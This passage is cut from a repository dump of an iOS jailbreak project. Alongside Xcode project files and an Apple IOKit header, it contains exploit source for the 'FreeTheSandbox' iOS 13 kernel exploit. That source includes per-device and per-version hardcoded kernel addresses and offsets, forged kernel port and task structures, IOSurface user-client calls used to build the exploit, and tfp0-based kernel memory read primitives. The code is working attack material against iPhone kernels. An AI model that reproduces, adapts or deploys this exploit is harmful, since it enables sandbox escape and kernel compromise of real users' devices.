0; defaultConfigurationName = Release; }; /* End XCConfigurationList section */ }; rootObject = 82F179E422DF4ED700231F8C /* Project object */; } ================================================ FILE: Blizzard Jailbreak.xcodeproj/project.xcworkspace/contents.xcworkspacedata ================================================ ================================================ FILE: Blizzard Jailbreak.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist ================================================ IDEDidComputeMac32BitWarning ================================================ FILE: Blizzard Jailbreak.xcodeproj/xcshareddata/xcschemes/sock_port.xcscheme ================================================ ================================================ FILE: Blizzard Jailbreak.xcodeproj/xcuserdata/geosn0w.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist ================================================ ================================================ FILE: Blizzard Jailbreak.xcodeproj/xcuserdata/jakejames.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist ================================================ ================================================ FILE: Blizzard Jailbreak.xcodeproj/xcuserdata/jakejames.xcuserdatad/xcschemes/xcschememanagement.plist ================================================ SchemeUserState socket_free.xcscheme orderHint 0 ================================================ FILE: Blizzard Jailbreak.xcodeproj/xcuserdata/pwn20wnd.xcuserdatad/xcschemes/xcschememanagement.plist ================================================ SchemeUserState sock_port.xcscheme_^#shared#^_ orderHint 0 SuppressBuildableAutocreation 82F179EB22DF4ED700231F8C primary 82F17A0322DF4ED800231F8C primary 82F17A0E22DF4ED800231F8C primary ================================================ FILE: Exploits/FreeTheSandbox/IOTypes.h ================================================ /* * Copyright (c) 1998-2012 Apple Computer, Inc. All rights reserved. * * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ * * This file contains Original Code and/or Modifications of Original Code * as defined in and that are subject to the Apple Public Source License * Version 2.0 (the 'License'). You may not use this file except in * compliance with the License. The rights granted to you under the License * may not be used to create, or enable the creation or redistribution of, * unlawful or unlicensed copies of an Apple operating system, or to * circumvent, violate, or enable the circumvention or violation of, any * terms of an Apple operating system software license agreement. * * Please obtain a copy of the License at * http://www.opensource.apple.com/apsl/ and read it before using this file. * * The Original Code and all software distributed under the License are * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. * Please see the License for the specific language governing rights and * limitations under the License. * * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ */ #ifndef __IOKIT_IOTYPES_H #define __IOKIT_IOTYPES_H #ifndef IOKIT #define IOKIT 1 #endif /* !IOKIT */ #include #include #include "IOReturn.h" #ifdef __cplusplus extern "C" { #endif #ifndef NULL #if defined (__cplusplus) #define NULL 0 #else #define NULL ((void *)0) #endif #endif /* * Simple data types. */ #include #define OSTYPES_K64_REV 2 typedef unsigned int UInt; typedef signed int SInt; typedef UInt32 IOOptionBits; typedef SInt32 IOFixed; typedef UInt32 IOVersion; typedef UInt32 IOItemCount; typedef UInt32 IOCacheMode; typedef UInt32 IOByteCount32; typedef UInt64 IOByteCount64; typedef UInt32 IOPhysicalAddress32; typedef UInt64 IOPhysicalAddress64; typedef UInt32 IOPhysicalLength32; typedef UInt64 IOPhysicalLength64; #if !defined(__arm__) && !defined(__i386__) typedef mach_vm_address_t IOVirtualAddress; #else typedef vm_address_t IOVirtualAddress; #endif #if !defined(__arm__) && !defined(__i386__) && !(defined(__x86_64__) && !defined(KERNEL)) typedef IOByteCount64 IOByteCount; #else typedef IOByteCount32 IOByteCount; #endif typedef IOVirtualAddress IOLogicalAddress; #if !defined(__arm__) && !defined(__i386__) && !(defined(__x86_64__) && !defined(KERNEL)) typedef IOPhysicalAddress64 IOPhysicalAddress; typedef IOPhysicalLength64 IOPhysicalLength; #define IOPhysical32( hi, lo ) ((UInt64) lo + ((UInt64)(hi) << 32)) #define IOPhysSize 64 #else typedef IOPhysicalAddress32 IOPhysicalAddress; typedef IOPhysicalLength32 IOPhysicalLength; #define IOPhysical32( hi, lo ) (lo) #define IOPhysSize 32 #endif typedef struct { IOPhysicalAddress address; IOByteCount length; } IOPhysicalRange; typedef struct { IOVirtualAddress address; IOByteCount length; } IOVirtualRange; #if !defined(__arm__) && !defined(__i386__) typedef IOVirtualRange IOAddressRange; #else typedef struct { mach_vm_address_t address; mach_vm_size_t length; } IOAddressRange; #endif /* * Map between #defined or enum'd constants and text description. */ typedef struct { int value; const char *name; } IONamedValue; /* * Memory alignment -- specified as a power of two. */ typedef unsigned int IOAlignment; #define IO_NULL_VM_TASK ((vm_task_t)0) /* * Pull in machine specific stuff. */ //#include #ifndef MACH_KERNEL #ifndef __IOKIT_PORTS_DEFINED__ #define __IOKIT_PORTS_DEFINED__ typedef mach_port_t io_object_t; #endif /* __IOKIT_PORTS_DEFINED__ */ #include typedef io_object_t io_connect_t; typedef io_object_t io_enumerator_t; typedef io_object_t io_iterator_t; typedef io_object_t io_registry_entry_t; typedef io_object_t io_service_t; #define IO_OBJECT_NULL ((io_object_t) 0) #endif /* MACH_KERNEL */ // IOConnectMapMemory memoryTypes enum { kIODefaultMemoryType = 0 }; enum { kIODefaultCache = 0, kIOInhibitCache = 1, kIOWriteThruCache = 2, kIOCopybackCache = 3, kIOWriteCombineCache = 4, kIOCopybackInnerCache = 5, kIOPostedWrite = 6 }; // IOMemory mapping options enum { kIOMapAnywhere = 0x00000001, kIOMapCacheMask = 0x00000700, kIOMapCacheShift = 8, kIOMapDefaultCache = kIODefaultCache << kIOMapCacheShift, kIOMapInhibitCache = kIOInhibitCache << kIOMapCacheShift, kIOMapWriteThruCache = kIOWriteThruCache << kIOMapCacheShift, kIOMapCopybackCache = kIOCopybackCache << kIOMapCacheShift, kIOMapWriteCombineCache = kIOWriteCombineCache << kIOMapCacheShift, kIOMapCopybackInnerCache = kIOCopybackInnerCache << kIOMapCacheShift, kIOMapPostedWrite = kIOPostedWrite << kIOMapCacheShift, kIOMapUserOptionsMask = 0x00000fff, kIOMapReadOnly = 0x00001000, kIOMapStatic = 0x01000000, kIOMapReference = 0x02000000, kIOMapUnique = 0x04000000, kIOMapPrefault = 0x10000000, kIOMapOverwrite = 0x20000000 }; /*! @enum Scale Factors @discussion Used when a scale_factor parameter is required to define a unit of time. @constant kNanosecondScale Scale factor for nanosecond based times. @constant kMicrosecondScale Scale factor for microsecond based times. @constant kMillisecondScale Scale factor for millisecond based times. @constant kTickScale Scale factor for the standard (100Hz) tick. @constant kSecondScale Scale factor for second based times. */ enum { kNanosecondScale = 1, kMicrosecondScale = 1000, kMillisecondScale = 1000 * 1000, kSecondScale = 1000 * 1000 * 1000, kTickScale = (kSecondScale / 100) }; enum { kIOConnectMethodVarOutputSize = -3 }; /* compatibility types */ typedef unsigned int IODeviceNumber; #ifdef __cplusplus } #endif #endif /* ! __IOKIT_IOTYPES_H */ ================================================ FILE: Exploits/FreeTheSandbox/freethesandbox.h ================================================ // // freethesandbox.h // Blizzard Jailbreak // // Created by GeoSn0w on 11/20/20. // Copyright © 2020 GeoSn0w. All rights reserved. // #ifndef freethesandbox_h #define freethesandbox_h void iOS13_exploit_init(void); #endif /* freethesandbox_h */ ================================================ FILE: Exploits/FreeTheSandbox/ios13_change_offsets.m ================================================ // // ios13_change_offsets.c // ios13_app1 // // Created by bb on 1/25/20. // Copyright © 2020 bb. All rights reserved. // #include #include #include #include #include #include #include #include #include #include #include #include #include #include "IOKitLib.h" #include #include #include #import #import #pragma mark --- External API //set share_analytics = false to disable analytics sharing share_analytics = true; #define SYSTEM_VERSION_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedSame) #define SYSTEM_VERSION_GREATER_THAN(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedDescending) #define SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedAscending) #define SYSTEM_VERSION_LESS_THAN(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedAscending) #define SYSTEM_VERSION_LESS_THAN_OR_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedDescending) bool check_if_iOS_version_equal_to(const char *cmpto_version){ CFStringRef cfstrwrap = CFStringCreateWithCString(kCFAllocatorDefault, cmpto_version, kCFStringEncodingUTF8); if (SYSTEM_VERSION_EQUAL_TO((__bridge NSString * _Nonnull)(cfstrwrap))) { return true; } CFRelease(cfstrwrap); return false; } bool check_if_iOS_version_greater_than_or_equal_to(const char *cmpto_version){ CFStringRef cfstrwrap = CFStringCreateWithCString(kCFAllocatorDefault, cmpto_version, kCFStringEncodingUTF8); if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO((__bridge NSString * _Nonnull)(cfstrwrap))) { return true; } CFRelease(cfstrwrap); return false; } bool check_if_iOS_version_less_then(const char *cmpto_version){ CFStringRef cfstrwrap = CFStringCreateWithCString(kCFAllocatorDefault, cmpto_version, kCFStringEncodingUTF8); if (SYSTEM_VERSION_LESS_THAN((__bridge NSString * _Nonnull)(cfstrwrap))) { return true; } CFRelease(cfstrwrap); return false; } bool check_if_its_PAC_device(){ #if __arm64e__ return true; #endif return false; } bool check_if_amfid_has_entitParser(){ if(check_if_iOS_version_greater_than_or_equal_to("13.5")) return true; return false; } char *_cur_deviceModel = NULL; char *get_current_deviceModel(){ if(_cur_deviceModel) return _cur_deviceModel; struct utsname systemInfo; uname(&systemInfo); NSString* code = [NSString stringWithCString:systemInfo.machine encoding:NSUTF8StringEncoding]; static NSDictionary* deviceNamesByCode = nil; if (!deviceNamesByCode) { deviceNamesByCode = @{@"i386" : @"Simulator", @"x86_64" : @"Simulator", @"iPod1,1" : @"iPod Touch", // (Original) @"iPod2,1" : @"iPod Touch", // (Second Generation) @"iPod3,1" : @"iPod Touch", // (Third Generation) @"iPod4,1" : @"iPod Touch", // (Fourth Generation) @"iPod7,1" : @"iPod Touch", // (6th Generation) @"iPhone1,1" : @"iPhone", // (Original) @"iPhone1,2" : @"iPhone", // (3G) @"iPhone2,1" : @"iPhone", // (3GS) @"iPad1,1" : @"iPad", // (Original) @"iPad2,1" : @"iPad 2", // @"iPad3,1" : @"iPad", // (3rd Generation) @"iPhone3,1" : @"iPhone 4", // (GSM) @"iPhone3,3" : @"iPhone 4", // (CDMA/Verizon/Sprint) @"iPhone4,1" : @"iPhone 4S", // @"iPhone5,1" : @"iPhone 5", // (model A1428, AT&T/Canada) @"iPhone5,2" : @"iPhone 5", // (model A1429, everything else) @"iPad3,4" : @"iPad", // (4th Generation) @"iPad2,5" : @"iPad Mini", // (Original) @"iPhone5,3" : @"iPhone 5c", // (model A1456, A1532 | GSM) @"iPhone5,4" : @"iPhone 5c", // (model A1507, A1516, A1526 (China), A1529 | Global) @"iPhone6,1" : @"iPhone 5s", // (model A1433, A1533 | GSM) @"iPhone6,2" : @"iPhone 5s", // (model A1457, A1518, A1528 (China), A1530 | Global) @"iPhone7,1" : @"iPhone 6 Plus", // @"iPhone7,2" : @"iPhone 6", // @"iPhone8,1" : @"iPhone 6S", // @"iPhone8,2" : @"iPhone 6S Plus", // @"iPhone8,4" : @"iPhone SE", // @"iPhone9,1" : @"iPhone 7", // @"iPhone9,3" : @"iPhone 7", // @"iPhone9,2" : @"iPhone 7 Plus", // @"iPhone9,4" : @"iPhone 7 Plus", // @"iPhone10,1": @"iPhone 8", // CDMA @"iPhone10,4": @"iPhone 8", // GSM @"iPhone10,2": @"iPhone 8 Plus", // CDMA @"iPhone10,5": @"iPhone 8 Plus", // GSM @"iPhone10,3": @"iPhone X", // CDMA @"iPhone10,6": @"iPhone X", // GSM @"iPhone11,2": @"iPhone XS", // @"iPhone11,4": @"iPhone XS Max", // @"iPhone11,6": @"iPhone XS Max", // China @"iPhone11,8": @"iPhone XR", // @"iPhone12,1": @"iPhone 11", // @"iPhone12,3": @"iPhone 11 Pro", // @"iPhone12,5": @"iPhone 11 Pro Max", // @"iPad4,1" : @"iPad Air", // 5th Generation iPad (iPad Air) - Wifi @"iPad4,2" : @"iPad Air", // 5th Generation iPad (iPad Air) - Cellular @"iPad4,4" : @"iPad Mini", // (2nd Generation iPad Mini - Wifi) @"iPad4,5" : @"iPad Mini", // (2nd Generation iPad Mini - Cellular) @"iPad4,7" : @"iPad Mini", // (3rd Generation iPad Mini - Wifi (model A1599)) @"iPad6,7" : @"iPad Pro (12.9\")", // iPad Pro 12.9 inches - (model A1584) @"iPad6,8" : @"iPad Pro (12.9\")", // iPad Pro 12.9 inches - (model A1652) @"iPad6,3" : @"iPad Pro (9.7\")", // iPad Pro 9.7 inches - (model A1673) @"iPad6,4" : @"iPad Pro (9.7\")" // iPad Pro 9.7 inches - (models A1674 and A1675) }; } NSString* deviceName = [deviceNamesByCode objectForKey:code]; if (!deviceName) { // Not found on database. At least guess main device type from string contents: if ([code rangeOfString:@"iPod"].location != NSNotFound) { deviceName = @"iPod Touch"; } else if([code rangeOfString:@"iPad"].location != NSNotFound) { deviceName = @"iPad"; } else if([code rangeOfString:@"iPhone"].location != NSNotFound){ deviceName = @"iPhone"; } else { deviceName = @"Unknown"; } } _cur_deviceModel = strdup([deviceName UTF8String]); return _cur_deviceModel; } #pragma mark --- Hardcoded values // HARDCODED addresses used in kernel uint64_t HARDCODED_infoleak_addr = 0; // vtable of IOSurface uint64_t HARDCODED_allproc = 0; // via IDA search pgrp_add : pgrp is dead adding process uint64_t HARDCODED_kernel_map = 0; // via jtool2 // HARDCODED offsets used in kernel uint32_t OFFSET_bsd_info_pid = 0x68; // +0x68: bsd_info->pid uint32_t OFFSET_bsd_info_task = 0x10; // +0x10: bsd_info->task uint32_t OFFSET_task_itk_task_access = 0x2F8; // +0x2F8: task->itk_task_access (ios13.x) uint32_t OFFSET_task_itk_registered = 0x308; // +0x308: task->itk_registered (ios13.x) uint32_t OFFSET_task_t_flags; // for TF_PLATFORM Patch // HARDCODED zone index used in kernel uint32_t zone_index_ipc_ports = 42; uint32_t zone_index_tasks = 58; // --- following addr/offsets are post-exp // HARDCODED addresses used in kernel for remount rootFS uint64_t HARDCODED_jnodehash_mask = 0; uint64_t HARDCODED_jjnodehashtbl = 0; uint32_t OFFSET_bsd_info_p_fd = 0x108; // pac: 0x108 uint32_t OFFSET_fileproc_f_fglob = 0x10; // pac: 0x10 // for use of find_vnode_with_path uint32_t OFFSET_fileglob_fg_data = 0x38; // pac: 0x38 // for use of find_vnode_with_path uint32_t OFFSET_vnode_v_data = 0xE0; // pac: 0xE0 find the snapshot stru off a vnode, used in patch_snapshot_vnode uint32_t OFFSET_vnode_v_mount = 0xD8; // pac: 0xD8 // for find the mount structure off a vnode uint32_t OFFSET_mount_mnt_flag = 0x70; // pac: 0x70 // for remove read-only flag on mount stru #pragma mark --- Check device bool check_device_compatibility(){ extern int Apply_hardcoded_addresses_and_offsets(void); if(Apply_hardcoded_addresses_and_offsets() == 0) return true; return false; } int Apply_hardcoded_addresses_and_offsets(){ if(!strcmp(get_current_deviceModel(), "iPhone X")){ int apply_to_iPhone_X(void); return apply_to_iPhone_X(); } else if(!strcmp(get_current_deviceModel(), "iPhone 11 Pro Max")){ int apply_to_iPhone_11_pro_max(void); return apply_to_iPhone_11_pro_max(); }else if(!strcmp(get_current_deviceModel(), "iPhone 7 Plus")){ int apply_to_iPhone_7_plus(void); return apply_to_iPhone_7_plus(); } else if(!strcmp(get_current_deviceModel(), "iPhone XS")){ int apply_to_iPhone_XS(void); return apply_to_iPhone_XS(); } (printf)("Execution pause: Not found offsets set for current device(model: %s)\n", get_current_deviceModel()); return -1; } #pragma mark --- iPhone X int apply_to_iPhone_X(){ OFFSET_task_t_flags = 0x3B8; // take from iphoneX 13.2.x, think it remains the same in all non-pac device if(check_if_iOS_version_greater_than_or_equal_to("13.2") && check_if_iOS_version_less_then("13.3")){ // iOS 13.2.x on iPhone X HARDCODED_infoleak_addr = 0xfffffff007a10fb0; HARDCODED_allproc = 0xFFFFFFF0091EAC50; HARDCODED_kernel_map = 0xfffffff007905658; } else if(check_if_iOS_version_equal_to("13.3")){ // iOS 13.3 on iPhone X HARDCODED_infoleak_addr = 0xFFFFFFF007A150D0; HARDCODED_allproc = 0xFFFFFFF0091EEC30; HARDCODED_kernel_map = 0xfffffff007909658; HARDCODED_jnodehash_mask = 0xFFFFFFF009225CD4; HARDCODED_jjnodehashtbl = 0xFFFFFFF009225CD8; } else if(check_if_iOS_version_greater_than_or_equal_to("13.3.1") && check_if_iOS_version_less_then("13.3.2")){ // iOS 13.3.1 on iPhone X HARDCODED_infoleak_addr = 0xFFFFFFF007A21150; HARDCODED_allproc = 0xFFFFFFF009232C30; HARDCODED_kernel_map = 0xfffffff007915658; HARDCODED_jnodehash_mask = 0xFFFFFFF009269CD4; HARDCODED_jjnodehashtbl = 0xFFFFFFF009269CD8; } else if(check_if_iOS_version_greater_than_or_equal_to("13.4") && check_if_iOS_version_less_then("13.4.2")){ zone_index_tasks = 60; // iOS 13.4 HARDCODED_infoleak_addr = 0xFFFFFFF007A5E7D8; HARDCODED_allproc = 0xFFFFFFF00926FC60; HARDCODED_kernel_map = 0xFFFFFFF00794D6A8; } else if(check_if_iOS_version_equal_to("13.4.5")){ zone_index_tasks = 60; // iOS 13.4.5 beta, 后来改名为 13.5 beta HARDCODED_infoleak_addr = 0xFFFFFFF007A5E7D8; HARDCODED_allproc = 0xFFFFFFF00926FC60; HARDCODED_kernel_map = 0xFFFFFFF00794D6A8; } else if(check_if_iOS_version_greater_than_or_equal_to("13.5") && check_if_iOS_version_less_then("13.5.2")){ zone_index_tasks = 60; // iOS 13.5/13.5.1 HARDCODED_infoleak_addr = 0xFFFFFFF007A427E8; HARDCODED_allproc = 0xFFFFFFF0092544B0; HARDCODED_kernel_map = 0xfffffff0079316a8; } else if(check_if_iOS_version_greater_than_or_equal_to("13.6") && check_if_iOS_version_less_then("13.6.2")){ zone_index_tasks = 60; // iOS 13.6/13.6.1 HARDCODED_infoleak_addr = 0xFFFFFFF007A427F8; HARDCODED_allproc = 0xFFFFFFF009257AB0; HARDCODED_kernel_map = 0xfffffff0079316c0; } else if(check_if_iOS_version_greater_than_or_equal_to("13.7") && check_if_iOS_version_less_then("13.7.1")){ zone_index_tasks = 60; // iOS 13.7 HARDCODED_infoleak_addr = 0xFFFFFFF007A427F8; HARDCODED_allproc = 0xFFFFFFF009257AB0; HARDCODED_kernel_map = 0xfffffff0079316c0; } else{ printf("Execution pause: require update hardcoded addresses and offsets\n"); return -1; } return 0; } #pragma mark --- iPhone 11 Pro Max int apply_to_iPhone_11_pro_max(){ OFFSET_task_t_flags = 0x3C0; // confirmed remains the same in iphonexs max(13.1.x ~ 13.3.x) // zone index changes likely can apply to all PAC device zone_index_tasks = 57; if(check_if_iOS_version_greater_than_or_equal_to("13.3.1") && check_if_iOS_version_less_then("13.3.2")){ // iOS 13.3.1 HARDCODED_infoleak_addr = 0xFFFFFFF0079F4760; HARDCODED_allproc = 0xFFFFFFF00945C940; HARDCODED_kernel_map = 0xfffffff0078d1768; } else if(check_if_iOS_version_greater_than_or_equal_to("13.4") && check_if_iOS_version_less_then("13.4.2")){ zone_index_tasks = 59; // iOS 13.4 HARDCODED_infoleak_addr = 0xFFFFFFF007A30C78; HARDCODED_allproc = 0xFFFFFFF0094A5970; HARDCODED_kernel_map = 0xFFFFFFF007909678; } else if(check_if_iOS_version_greater_than_or_equal_to("13.5") && check_if_iOS_version_less_then("13.5.2")){ zone_index_tasks = 59; // iOS 13.5/13.5.1 HARDCODED_infoleak_addr = 0xFFFFFFF007A10C88; HARDCODED_allproc = 0xFFFFFFF0094821C0; HARDCODED_kernel_map = 0xfffffff0078e9678; } else if(check_if_iOS_version_greater_than_or_equal_to("13.6") && check_if_iOS_version_less_then("13.6.2")){ zone_index_tasks = 59; // iOS 13.6/13.6.1 HARDCODED_infoleak_addr = 0xFFFFFFF007A18C98; HARDCODED_allproc = 0xFFFFFFF009481800; HARDCODED_kernel_map = 0xfffffff0078f1690; } else if(check_if_iOS_version_greater_than_or_equal_to("13.7") && check_if_iOS_version_less_then("13.7.1")){ zone_index_tasks = 59; // iOS 13.7 HARDCODED_infoleak_addr = 0xFFFFFFF007A18C98; HARDCODED_allproc = 0xFFFFFFF009481800; HARDCODED_kernel_map = 0xfffffff0078f1690; } else{ printf("Execution pause: require update hardcoded addresses and offsets\n"); return -1; } return 0; } int apply_to_iPhone_7_plus(){ OFFSET_task_t_flags = 0x3B8; // confirmed remains the same in iphonexs max(13.1.x ~ 13.3.x) // zone index changes likely can apply to all PAC device zone_index_tasks = 58; if(check_if_iOS_version_greater_than_or_equal_to("13.4.1") && check_if_iOS_version_less_then("13.3.2")){ // iOS 13.3.1 HARDCODED_infoleak_addr = 0xfffffff006dc4f38; HARDCODED_allproc = 0xFFFFFFF007767860; HARDCODED_kernel_map = 0xfffffff0070d0aa8; } else if(check_if_iOS_version_greater_than_or_equal_to("13.6") && check_if_iOS_version_less_then("13.6.2")){ // iOS 13.6/13.6.1 HARDCODED_infoleak_addr = 0xFFFFFFF006DBCEF8; HARDCODED_allproc = 0xFFFFFFF007770FA0; HARDCODED_kernel_map = 0xFFFFFFF0070D0A90; } else{ printf("Execution pause: require update hardcoded addresses and offsets\n"); return -1; } return 0; } int apply_to_iPhone_XS(){ OFFSET_task_t_flags = 0x3C0; // zone index changes likely can apply to all PAC device zone_index_tasks = 57; if(check_if_iOS_version_greater_than_or_equal_to("13.5") && check_if_iOS_version_less_then("13.5.2")){ zone_index_tasks = 59; // iOS 13.5/13.5.1 HARDCODED_infoleak_addr = 0xFFFFFFF007917A18; HARDCODED_allproc = 0xFFFFFFF0093AB1B0; HARDCODED_kernel_map = 0xfffffff00789d678; } else if(check_if_iOS_version_greater_than_or_equal_to("13.6") && check_if_iOS_version_less_then("13.6.2")){ zone_index_tasks = 59; // iOS 13.6/13.6.1 HARDCODED_infoleak_addr = 0xFFFFFFF00791FA18; HARDCODED_allproc = 0xFFFFFFF0093AA7F0; HARDCODED_kernel_map = 0xfffffff0078a5690; } else if(check_if_iOS_version_greater_than_or_equal_to("13.7") && check_if_iOS_version_less_then("13.7.1")){ zone_index_tasks = 59; // iOS 13.7 HARDCODED_infoleak_addr = 0xFFFFFFF00791FA18; HARDCODED_allproc = 0xFFFFFFF0093AA7F0; HARDCODED_kernel_map = 0xfffffff0078a5690; } else{ printf("Execution pause: require update hardcoded addresses and offsets\n"); return -1; } return 0; } ================================================ FILE: Exploits/FreeTheSandbox/ios13_kernel_universal.c ================================================ // // ios13_kernel_universal.c // ios13_app1 // // Created by bb on 1/12/20. // Copyright © 2020 bb. All rights reserved. // // Update* For 13.4/13.4.1 Support // Update* For 13.6/13.6.1 Support // Update* For 13.7 Support #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "IOKitLib.h" #include #include //Share analytics extern bool share_analytics; // HARDCODED addresses used in kernel extern uint64_t HARDCODED_infoleak_addr; extern uint64_t HARDCODED_allproc; extern uint64_t HARDCODED_kernel_map; // HARDCODED offsets used in kernel extern uint32_t OFFSET_bsd_info_pid; extern uint32_t OFFSET_bsd_info_task; extern uint32_t OFFSET_task_itk_task_access; extern uint32_t OFFSET_task_itk_registered; extern uint32_t OFFSET_task_t_flags; // HARDCODED zone index used in kernel extern uint32_t zone_index_ipc_ports; extern uint32_t zone_index_tasks; extern void Apply_hardcoded_addresses_and_offsets(void); jmp_buf reattempt_jmpb; #define IO_BITS_PORT_INFO 0x0000f000 #define IO_BITS_KOTYPE 0x00000fff #define IO_BITS_KOBJECT 0x00000800 #define IO_BITS_OTYPE 0x7fff0000 #define IO_BITS_ACTIVE 0x80000000 #define IKOT_NONE 0 #define IKOT_THREAD 1 #define IKOT_TASK 2 #define IKOT_HOST 3 #define IKOT_HOST_PRIV 4 #define IKOT_PROCESSOR 5 #define IKOT_PSET 6 #define IKOT_PSET_NAME 7 #define IKOT_TIMER 8 #define IKOT_PAGING_REQUEST 9 #define IKOT_MIG 10 #define IKOT_MEMORY_OBJECT 11 #define IKOT_XMM_PAGER 12 #define IKOT_XMM_KERNEL 13 #define IKOT_XMM_REPLY 14 #define IKOT_UND_REPLY 15 #define IKOT_HOST_NOTIFY 16 #define IKOT_HOST_SECURITY 17 #define IKOT_LEDGER 18 #define IKOT_MASTER_DEVICE 19 #define IKOT_TASK_NAME 20 #define IKOT_SUBSYSTEM 21 #define IKOT_IO_DONE_QUEUE 22 #define IKOT_SEMAPHORE 23 #define IKOT_LOCK_SET 24 #define IKOT_CLOCK 25 #define IKOT_CLOCK_CTRL 26 #define IKOT_IOKIT_SPARE 27 #define IKOT_NAMED_ENTRY 28 #define IKOT_IOKIT_CONNECT 29 #define IKOT_IOKIT_OBJECT 30 #define IKOT_UPL 31 #define IKOT_MEM_OBJ_CONTROL 32 #define IKOT_AU_SESSIONPORT 33 #define IKOT_FILEPORT 34 #define IKOT_LABELH 35 #define IKOT_TASK_RESUME 36 volatile struct ipc_port { uint32_t ip_bits; uint32_t ip_references; struct { uint64_t data; uint64_t type; } ip_lock; // spinlock struct { struct { struct { uint32_t flags; uint32_t waitq_interlock; uint64_t waitq_set_id; uint64_t waitq_prepost_id; struct { uint64_t next; uint64_t prev; } waitq_queue; } waitq; uint64_t messages; uint32_t seqno; uint32_t receiver_name; uint16_t msgcount; uint16_t qlimit; uint32_t pad; } port; uint64_t klist; } ip_messages; uint64_t ip_receiver; uint64_t ip_kobject; // above stru members are pretty stable across versions, below is not, plz pay attenion to change uint64_t ip_nsrequest; uint64_t ip_pdrequest; uint64_t ip_requests; uint64_t ip_premsg; uint64_t ip_context; uint32_t ip_flags; uint32_t ip_mscount; uint32_t ip_srights; uint32_t ip_sorights; }; volatile struct task { struct { uint64_t data; uint32_t reserved : 24, type : 8; uint32_t pad; } lock; // mutex lock uint32_t ref_count; uint32_t active; uint32_t halting; uint32_t pad; uint32_t pad2; uint32_t pad3; uint64_t map; }; enum { kOSSerializeDictionary = 0x01000000U, kOSSerializeArray = 0x02000000U, kOSSerializeSet = 0x03000000U, kOSSerializeNumber = 0x04000000U, kOSSerializeSymbol = 0x08000000U, kOSSerializeString = 0x09000000U, kOSSerializeData = 0x0a000000U, kOSSerializeBoolean = 0x0b000000U, kOSSerializeObject = 0x0c000000U, kOSSerializeTypeMask = 0x7F000000U, kOSSerializeDataMask = 0x00FFFFFFU, kOSSerializeEndCollection = 0x80000000U, kOSSerializeMagic = 0x000000d3U, }; extern void print_hexdump(void *buf, size_t len); extern void Reply_notify_completion(void); extern void Send_overwritting_iosurfaceMap(uint64_t remote_map_addr, uint64_t *local_map_addr); extern void Send_notify_msg(void); extern bool check_if_its_PAC_device(void); pthread_attr_t pth_commAttr = {0}; void pth_commAttr_init(){ pthread_attr_init(&pth_commAttr); pthread_attr_setdetachstate(&pth_commAttr, PTHREAD_CREATE_DETACHED); } bool check_num_stringlizability_4bytes(uint32_t input_num){ char *stringlize = (char*)&input_num; if(stringlize[0] == '\0') return false; if(stringlize[1] == '\0') return false; return true; } void IOSurfaceRootUserClient_remove_surface_map(io_connect_t ioconn, uint32_t surfaceId){ // Release the surface uint64_t input_sca = surfaceId; IOConnectCallScalarMethod(ioconn, 1, &input_sca, 1, NULL, NULL); } uint32_t IOSurfaceRootUserClient_create_surface_map(io_connect_t ioconn, uint64_t *remote_map_addr, uint32_t *remote_map_size){ uint32_t dict_create[] = { kOSSerializeMagic, kOSSerializeEndCollection | kOSSerializeDictionary | 1, kOSSerializeSymbol | 19, 0x75534f49, 0x63616672, 0x6c6c4165, 0x6953636f, 0x657a, // "IOSurfaceAllocSize" kOSSerializeEndCollection | kOSSerializeNumber | 32, 0x4000000, //Need be equal or greater than 0x25BA8 ref: AVE ERROR: IOSurfaceBufferInitInfo->Size() bad 0x0, }; size_t output_stru_size = 0xDD0; // A fixed size char *output_stru = calloc(1, output_stru_size); int kr = IOConnectCallStructMethod(ioconn, 0, dict_create, sizeof(dict_create), output_stru, &output_stru_size); if(!kr){ uint64_t ret_addr1 = *(uint64_t*)output_stru; //uint64_t ret_addr2 = *(uint64_t*)(output_stru + 8); // Read-only mapping from kernel //uint64_t ret_addr3 = *(uint64_t*)(output_stru + 0x10); // Read-only mapping from kernel // These are unused values here, you can deleted them. uint32_t ret_addr1_size = *(uint32_t*)(output_stru + 0x1C); // Must be uint32_t length here *remote_map_addr = ret_addr1; *remote_map_size = ret_addr1_size; return *(uint32_t*)(output_stru+0x18); //Output: Surface ID } return 0; } #pragma mark --- TFP0 Kernel Memory R/W Components --- uint64_t kaslr = 0; uint64_t kernel_map_kAddr = 0; uint64_t ipc_space_kernel_kAddr = 0; uint32_t tfp0_port = 0; uint64_t tfp0_portStru = 0; jmp_buf reattempt_jmpb; uint32_t new_reading_primitive(uint64_t target_addr); uint8_t KernelRead_1byte(uint64_t rAddr){ if(tfp0_port){ uint8_t retdata = 0; vm_size_t outsize = 0x1; vm_read_overwrite(tfp0_port, rAddr, 0x1, (vm_address_t)&retdata, &outsize); return retdata; } return (uint8_t)new_reading_primitive(rAddr); } uint16_t KernelRead_2bytes(uint64_t rAddr){ if(tfp0_port){ uint16_t retdata = 0; vm_size_t outsize = 0x2; vm_read_overwrite(tfp0_port, rAddr, 0x2, (vm_address_t)&retdata, &outsize); return retdata; } return (uint16_t)new_reading_primitive(rAddr); } uint32_t KernelRead_4bytes(uint64_t rAddr){ if(tfp0_port){ uint32_t retdata = 0; vm_size_t outsize = 0x4; vm_read_overwrite(tfp0_port, rAddr, 0x4, (vm_address_t)&retdata, &outsize); return retdata; } return new_reading_primitive(rAddr); } uint64_t 